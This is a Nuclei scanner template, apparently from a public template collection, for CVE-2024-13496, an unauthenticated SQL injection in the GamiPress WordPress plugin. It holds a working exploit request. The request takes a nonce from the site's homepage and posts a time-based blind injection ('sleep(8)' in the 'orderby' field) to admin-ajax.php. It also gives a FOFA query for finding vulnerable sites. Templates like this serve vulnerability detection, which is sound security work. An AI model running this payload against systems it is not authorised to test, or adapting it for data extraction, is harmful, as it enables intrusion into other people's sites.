漏洞描述
GamiPress WordPress plugin version 2.8.9 and below suffers from an SQL injection vulnerability due to insufficient sanitization of user input, allowing attackers to execute arbitrary SQL commands.
id: CVE-2024-13496
info:
name: GamiPress <= 2.8.9 - SQL Injection
author: ritikchaddha
severity: high
description: |
GamiPress WordPress plugin version 2.8.9 and below suffers from an SQL injection vulnerability due to insufficient sanitization of user input, allowing attackers to execute arbitrary SQL commands.
reference:
- https://abrahack.com/posts/gamipress-sqli/
- https://nvd.nist.gov/vuln/detail/CVE-2024-13496
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
cvss-score: 9.8
cve-id: CVE-2024-13496
cwe-id: CWE-89
epss-score: 0.35257
epss-percentile: 0.9693
metadata:
max-requests: 2
fofa-query: body="/wp-content/plugins/gamipress"
tags: cve,cve2024,wp,wordpress,gamipress,sqli,wp-plugin
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
- |
@timeout: 30s
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: {{Hostname}}
Content-Type: multipart/form-data; boundary=WebKitFormBoundaryPzS34wz7rAyyJYSi
------WebKitFormBoundaryPzS34wz7rAyyJYSi
Content-Disposition: form-data; name="action"
gamipress_get_logs
------WebKitFormBoundaryPzS34wz7rAyyJYSi
Content-Disposition: form-data; name="nonce"
{{nonce}}
------WebKitFormBoundaryPzS34wz7rAyyJYSi
Content-Disposition: form-data; name="orderby"
(SELECT/**/sleep(8)/**/FROM/**/dual/**/WHERE/**/1/**/LIKE/**/1)#
------WebKitFormBoundaryPzS34wz7rAyyJYSi--
matchers:
- type: dsl
dsl:
- 'duration>= 8'
- 'status == 200'
- 'contains(headers, "application/json")'
- 'contains(body, "success\":true")'
condition: and
extractors:
- type: regex
part: body
name: nonce
group: 1
regex:
- '"nonce":"([0-9a-z]+)"'
internal: true
# digest: 4a0a00473045022100a29e4c23aea76954ae9b794144b74859213700ef72b2c158331124f4cedfcc0c0220565b211dd8a4ffcfc7058ae68458510f8eb25128e658316db774720b124d549f:922c64590222798bb761d5b6d8e72950